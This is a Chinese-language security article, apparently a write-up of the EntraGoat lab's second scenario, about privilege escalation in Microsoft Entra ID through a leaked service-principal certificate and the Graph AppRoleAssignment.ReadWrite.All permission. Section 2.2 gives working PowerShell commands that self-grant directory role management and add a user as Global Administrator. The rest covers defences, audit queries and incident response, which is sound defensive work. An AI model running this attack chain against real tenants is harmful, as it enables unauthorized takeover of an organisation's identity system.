首页
/ Graph权限滥用与防御:从证书泄露到特权升级的完整分析

Graph权限滥用与防御:从证书泄露到特权升级的完整分析

2026-04-13 09:43:28作者:卓炯娓

副标题:基于EntraGoat场景的身份安全实战指南

一、风险识别:企业身份系统的隐形威胁

1.1 证书泄露的安全隐患

在现代企业身份管理架构中,服务主体(Service Principal,SP)证书作为非交互式认证的核心凭证,一旦泄露将导致严重安全后果。攻击者可利用泄露证书伪装成合法服务主体,访问企业敏感资源。此类攻击通常具有隐蔽性强、权限范围广的特点,传统边界防护措施难以有效检测。

1.2 过度权限配置的风险

Microsoft Graph API权限设计中,AppRoleAssignment.ReadWrite.All 权限允许服务主体管理其他服务主体的角色分配。当此权限被过度授予普通应用时,将形成权限滥用的温床。攻击者可通过权限链实现自我授权,逐步提升至管理员级别,最终完全控制整个身份系统。

核心要点:证书泄露为攻击者提供初始访问途径,而过度配置的Graph权限则为特权升级提供技术可能,两者结合构成完整攻击链条。

二、技术原理:权限滥用的实现机制

2.1 Microsoft Graph权限模型解析

Microsoft Graph API采用基于角色的访问控制(RBAC)模型,权限分为应用权限(Application Permissions)和委派权限(Delegated Permissions)两类。应用权限直接授予服务主体,允许其在无用户上下文情况下独立操作,是权限滥用的主要风险点。

关键权限关系如下:

  • AppRoleAssignment.ReadWrite.All:允许管理服务主体的角色分配
  • RoleManagement.ReadWrite.Directory:允许管理目录角色(如全局管理员)
  • 全局管理员角色:拥有租户的完全控制权

2.2 攻击向量技术分解

攻击者从证书泄露开始,通过以下技术环节实现权限升级:

初始凭证获取:通过泄露的PFX证书,使用PowerShell命令获取服务主体访问令牌:

$cert = Get-PfxCertificate -FilePath "leaked-cert.pfx"
Connect-MgGraph -ClientId "sp-client-id" -Certificate $cert

功能说明:使用泄露证书认证为目标服务主体

权限自我分配:利用AppRoleAssignment.ReadWrite.All权限,为自身授予更高权限:

$graphAppId = "00000003-0000-0000-c000-000000000000"
$permissionId = (Get-MgServicePrincipal -ServicePrincipalId $graphAppId).AppRoles | 
    Where-Object {$_.Value -eq "RoleManagement.ReadWrite.Directory"} | 
    Select-Object -ExpandProperty Id
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $spId -ResourceId $graphAppId -AppRoleId $permissionId -PrincipalId $spId

功能说明:为服务主体分配角色管理权限

会话刷新与权限应用:重新连接以获取包含新权限的访问令牌:

Disconnect-MgGraph
Connect-MgGraph -ClientId "sp-client-id" -Certificate $cert

功能说明:刷新会话使新权限生效

管理员角色分配:使用新获得的权限创建全局管理员角色分配:

$gaRoleId = (Get-MgDirectoryRole | Where-Object {$_.DisplayName -eq "Global Administrator"}).Id
New-MgDirectoryRoleMemberByRef -DirectoryRoleId $gaRoleId -BodyParameter @{"@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}

功能说明:将指定用户添加为全局管理员

2.3 攻击路径可视化分析

EntraGoat场景2攻击路径 图1:场景2攻击路径示意图,展示从证书认证到权限升级的完整流程

核心要点:攻击成功的关键在于利用低权限向高权限的自我分配能力,通过Graph API实现权限链的逐级提升。

三、防御体系:构建多层次安全防护

3.1 技术防御措施

最小权限配置:为服务主体仅分配必要权限,避免使用AppRoleAssignment.ReadWrite.All等高风险权限。配置示例:

# 为服务主体分配最低必要权限
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $spId -ResourceId $graphAppId -AppRoleId $limitedPermissionId

功能说明:仅授予应用功能所需的最小权限集

证书生命周期管理:实施证书自动轮换机制,设置合理的有效期:

# 创建短期证书(90天)
$cert = New-SelfSignedCertificate -CertStoreLocation "Cert:\CurrentUser\My" -NotAfter (Get-Date).AddDays(90)

功能说明:生成短期证书并定期轮换

3.2 流程规范建设

权限申请审批流程:建立Graph API权限的多级审批机制,对高权限申请实施额外审查。关键控制点包括:

  • 权限申请必须关联业务需求文档
  • 高权限申请需信息安全团队审核
  • 权限使用情况定期审计(建议每季度)

事件响应预案:制定证书泄露应急响应流程:

  1. 立即吊销泄露证书
  2. 撤销受影响服务主体的所有权限
  3. 审查权限分配历史记录
  4. 轮换相关账户凭证
  5. 部署安全监控规则

3.3 工具监控体系

权限异常检测:利用Microsoft Graph API构建权限变更监控:

# 监控高权限角色分配
Get-MgAuditLogDirectoryAudit -Filter "ActivityDisplayName eq 'Add member to role'" | 
    Where-Object {$_.TargetResources.DisplayName -eq "Global Administrator"}

功能说明:检测全局管理员角色的异常添加操作

证书使用审计:启用Azure AD证书登录审计:

# 查询证书登录记录
Get-MgAuditLogSignIn -Filter "ClientAppUsed eq 'Certificate'"

功能说明:审计所有使用证书的登录事件

核心要点:有效的防御体系需结合技术控制、流程规范和持续监控,形成全方位防护。

四、实战建议:可落地的安全实践

4.1 权限审计清单

  • [ ] 审查所有服务主体的Graph API权限,移除未使用的高权限
  • [ ] 检查证书有效期,替换超过90天的长期证书
  • [ ] 验证全局管理员角色成员,移除非必要账户
  • [ ] 确认所有AppRoleAssignment.ReadWrite.All权限的业务必要性

4.2 应急响应流程

  1. 检测阶段:通过登录审计和权限变更日志发现异常活动
  2. 遏制阶段:立即吊销可疑证书,暂停受影响服务主体
  3. 根除阶段:全面审查权限分配,移除未授权的角色分配
  4. 恢复阶段:轮换所有相关凭证,重新配置最小权限
  5. 改进阶段:更新安全策略,加强监控机制

4.3 安全意识培训

对开发和运维团队开展专项培训,重点包括:

  • Graph API权限的安全风险认知
  • 证书安全管理最佳实践
  • 权限申请和使用规范
  • 安全事件报告流程

通过系统化的安全建设,组织可以有效防范类似EntraGoat场景2的权限滥用风险,保护企业身份基础设施的安全。

登录后查看全文
热门项目推荐
相关项目推荐